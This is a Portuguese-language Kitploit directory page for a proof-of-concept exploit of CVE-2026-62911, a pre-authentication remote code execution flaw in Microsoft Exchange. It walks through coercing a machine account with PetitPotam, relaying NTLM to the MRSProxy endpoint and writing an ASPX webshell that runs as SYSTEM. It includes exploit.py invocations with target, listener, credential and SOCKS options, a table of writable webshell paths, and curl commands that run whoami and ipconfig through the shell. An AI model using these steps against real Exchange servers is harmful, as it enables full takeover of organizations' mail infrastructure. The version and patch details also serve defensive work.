Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-62911 — Exploit de prova de conceito para CVE-2026-62911: RCE sem autenticação prévia no Microsoft Exchange via relay NTLM para MRSProxy, gravando um webshell ASPX para execução de comandos como SYSTEM. | Kitploit
Ferramentas/GitHubGitHub/hypnguyen1209/cve-2026-62911
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoDesenvolvimento de Payloads
GitHubhypnguyen1209/cve-2026-62911

CVE-2026-62911

Exploit de prova de conceito para CVE-2026-62911: RCE sem autenticação prévia no Microsoft Exchange via relay NTLM para MRSProxy, gravando um webshell ASPX para execução de comandos como SYSTEM.

Ver Repositório
2há 2 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-62911

RCE sem autenticação no Microsoft Exchange Server. Nenhuma credencial necessária.

Orange Tsai (DEVCORE) usou isso no Pwn2Own Berlin 2026 como parte de uma cadeia de 3 bugs. Prêmio de US$ 200.000, comprometimento total de SYSTEM.

O que faz

O Exchange expõe o MailboxReplicationProxyService (MRSProxy) em dois caminhos. Um deles fica no HTTP.sys sem Proteção Estendida:

Baixar ferramenta
CaminhoHospedado porProteção Estendida
/EWS/MRSProxy.svcIISSim. Seguro.
/Microsoft.Exchange.MailboxReplicationService.ProxyServiceHTTP.sysNão. Alvo de relay.

O endpoint HTTP.sys aceita autenticação Negotiate, mas nunca verifica associações de canal. Você faz relay de um hash de conta de máquina para ele, e o Exchange trata você como essa máquina. Contas de máquina possuem ms-Exch-EPI-Token-Serialization por padrão, então o serviço WCF concede acesso total.

Uma vez dentro, IMailbox_Config6() recebe um parâmetro filePath. PstDestinationMailbox.ConfigPst() grava qualquer caminho que você fornecer. Não há verificação de extensão. Aponte para um diretório do IIS, chame IMailbox_Connect(), e um arquivo é gravado em disco. Transforme esse arquivo em um webshell ASPX. Pronto.

A configuração que torna isso possível

root@kitploit:~
<!-- MSExchangeMailboxReplication.exe.config -->
<binding name="MrsProxyHttpsBinding" receiveTimeout="00:22:00">
  <httpsTransport authenticationScheme="Negotiate"
      maxReceivedMessageSize="100000000" />
  <!-- no extendedProtectionPolicy — that's the bug -->
</binding>

Interface WCF (métodos relevantes)

root@kitploit:~
[ServiceContract(SessionMode = SessionMode.Required)]
interface IMailboxReplicationProxyService
{
    void ExchangeVersionInformation(
        VersionInformation clientVersion,
        out VersionInformation serverVersion);

    long IMailbox_Config6(
        Guid reservationId, Guid primaryMailboxGuid, Guid physicalMailboxGuid,
        string filePath,        // attacker-controlled, no validation
        byte[] partitionHint, Guid mdbGuid, string mdbName,
        MailboxType mbxType, int proxyControlFlags, int localMailboxFlags);

    void IMailbox_Connect(long mailboxHandle);
        // calls PSTSession.Open() — writes file at filePath
}

Versões afetadas

ProdutoVulnerável abaixo deCorrigidoKB
Exchange 2016 CU2315.1.2507.7215.1.2507.72KB5121576
Exchange 2019 CU1415.2.1544.4315.2.1544.43KB5121575
Exchange 2019 CU1515.2.1748.4815.2.1748.48KB5121574
Exchange SE RTM15.2.2562.4515.2.2562.45KB5121573

O Exchange 2016 chegou ao fim da vida útil em outubro de 2025. A correção de agosto de 2026 é distribuída apenas por meio de Extended Security Updates (ESU). Se a organização não comprou ESU, não há patch.

Como o ataque funciona

root@kitploit:~
Attacker                    EX02 (trigger)         EX01 (target)
   │                            │                       │
   │── PetitPotam (MS-EFSR) ──▶│                       │
   │                            │                       │
   │◀── NTLM auth (EX02$) ─────│                       │
   │                            │                       │
   │── relay NTLM ────────────────────────────────────▶│
   │   (to MRSProxy HTTP.sys)                           │
   │                                                    │
   │── IMailbox_Config6(path=shell.aspx) ─────────────▶│
   │── IMailbox_Connect() ────────────────────────────▶│
   │                                                    │ file written
   │                                                    │
   │── GET /aspnet_client/shell.aspx?cmd=whoami ──────▶│
   │◀── nt authority\system ────────────────────────────│

Cinco etapas:

  1. Dispare MS-EFSR (EfsRpcOpenFileRaw) no EX02. Ele se autentica de volta para você com a conta de máquina dele. O PetitPotam funciona sem autenticação contra Exchange sem patch.

  2. Seu listener SMB captura o negotiate NTLM de EX02$.

  3. Encaminhe-o via HTTPS para o MRSProxy do EX01. O endpoint não verifica EPA, então o relay é concluído. Contas de máquina já têm o direito de serialização do Exchange, então a autorização passa.

  4. Envie chamadas WCF: IMailbox_Config6 com um caminho como C:\inetpub\wwwroot\aspnet_client\shell.aspx, depois IMailbox_Connect. O Exchange grava o arquivo.

  5. Acesse o webshell. Você é SYSTEM.

Executando

Instale as dependências:

root@kitploit:~
pip install impacket pysocks

Verifique se o MRSProxy está exposto:

root@kitploit:~
python3 exploit.py --check-only \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100

Você quer ver Microsoft-HTTPAPI/2.0 com Negotiate na resposta 401. Isso confirma que o endpoint HTTP.sys está ativo e que EPA está ausente.

Execute o exploit:

root@kitploit:~
python3 exploit.py \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100

Se o PetitPotam precisar de autenticação no seu alvo:

root@kitploit:~
python3 exploit.py \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100 \
  -u jsmith -p 'P@ssw0rd!' -d CONTOSO.COM

Através de um túnel SOCKS:

root@kitploit:~
python3 exploit.py \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100 \
  --socks 127.0.0.1 --socks-port 10800

Escolha um local de gravação diferente:

root@kitploit:~
python3 exploit.py \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100 \
  --webshell-path 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\x.aspx' \
  --webshell-url '/owa/auth/x.aspx'

Verifique se o shell foi gravado:

root@kitploit:~
python3 exploit.py --verify-only \
  -t 192.168.1.10 \
  --webshell-url '/aspnet_client/system_web/shell.aspx'

Use-o:

root@kitploit:~
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=whoami+/all"
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=ipconfig+/all"

Caminhos de gravação que funcionam

Caminho no discoURLPorquê
C:\inetpub\wwwroot\aspnet_client\system_web\shell.aspx/aspnet_client/system_web/shell.aspxDiretório padrão de scripts de cliente do IIS. Geralmente gravável, serve ASPX.
C:\inetpub\wwwroot\aspnet_client\shell.aspx/aspnet_client/shell.aspxO mesmo, mais curto.
...\V15\FrontEnd\HttpProxy\owa\auth\shell.aspx/owa/auth/shell.aspxPasta de autenticação do OWA.
...\V15\FrontEnd\HttpProxy\ecp\auth\shell.aspx/ecp/auth/shell.aspxPasta de autenticação do ECP.

Referências

  • MBBank VRED: Analysis of Exchange Server Pre-Auth
  • Pwn2Own Berlin 2026, Day 2
  • Microsoft Advisory
  • KB5121576

Aviso legal

Apenas para testes autorizados. Obtenha permissão por escrito antes de executar isso contra qualquer coisa.